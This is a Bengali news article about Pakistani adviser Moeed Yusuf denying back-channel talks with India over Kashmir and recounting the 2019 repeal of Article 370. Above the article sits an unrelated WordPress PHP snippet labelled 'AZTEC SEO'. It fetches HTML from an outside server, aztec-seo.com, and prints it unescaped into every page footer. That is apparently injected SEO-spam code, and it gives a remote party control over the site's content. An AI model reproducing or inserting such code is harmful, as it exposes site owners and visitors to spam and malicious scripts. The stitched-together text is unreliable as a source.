/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
পাকিস্তানের জাতীয় নিরাপত্তা উপদেষ্টা মুয়িদ ইউসুফ বলেছেন, আলোচনা শুরুর বিষয়ে নয়া দিল্লির সঙ্গে ইসলামাবাদের পরোক্ষ বা গোপন কোনো যোগাযোগ নেই। পাকিস্তানের জিয়ো নিউজ চ্যানেলকে দেওয়া এক সাক্ষাৎকারে তিনি এ কথা বলেন।
পাকিস্তানি প্রধানমন্ত্রীর এই উপদেষ্টা আরও বলেন, ভারত আস্থা তৈরি করতে ব্যর্থ হয়েছে। এ কারণে দুই পক্ষের যোগাযোগ বন্ধ রয়েছে।
তিনি কাশ্মীর ইস্যুতে নীতি-অবস্থান পাল্টাতে ভারতের প্রতি আহ্বান জানিয়ে বলেন, জম্মু-কাশ্মীরের বিশেষ মর্যাদা বাতিলের পর থেকে কাশ্মীরে আটকা পড়েছে ভারত। কাজেই তাদের নিজেদের স্বার্থেই নীতি-অবস্থানে পরিবর্তন আনা জরুরি।
২০১৯ সালে ভারতীয় সংবিধানের ৩৭০ অনুচ্ছেদ বাতিল করে প্রধানমন্ত্রী নরেন্দ্র মোদির সরকার। এর ফলে জম্মু ও কাশ্মীর বিশেষ মর্যাদা হারায়। এর পরপরই ওই এলাকাটিকে লকডাউনের আওতায় নিয়ে আসে মোদি সরকার। ভারতীয় সরকারের এমন কাণ্ডে ব্যাপক বিক্ষোভ শুরু হয় কাশ্মীরে।
হাজার হাজার বিক্ষোভকারীকে সে সময় আটক করা হয়, বিচ্ছিন্ন করে দেওয়া হয় সব রকমের যোগাযোগব্যবস্থা।
এর জবাবে ভারতের সঙ্গে বাণিজ্যিক সম্পর্ক স্থগিত করে দেয় পাকিস্তান এবং এই ইস্যুতে দুই দেশের মধ্যে কূটনৈতিক সম্পর্কের চরম অবনতি ঘটে। এরপর আর সম্পর্কের উন্নতি ঘটেনি। সূত্র : পার্সটুডে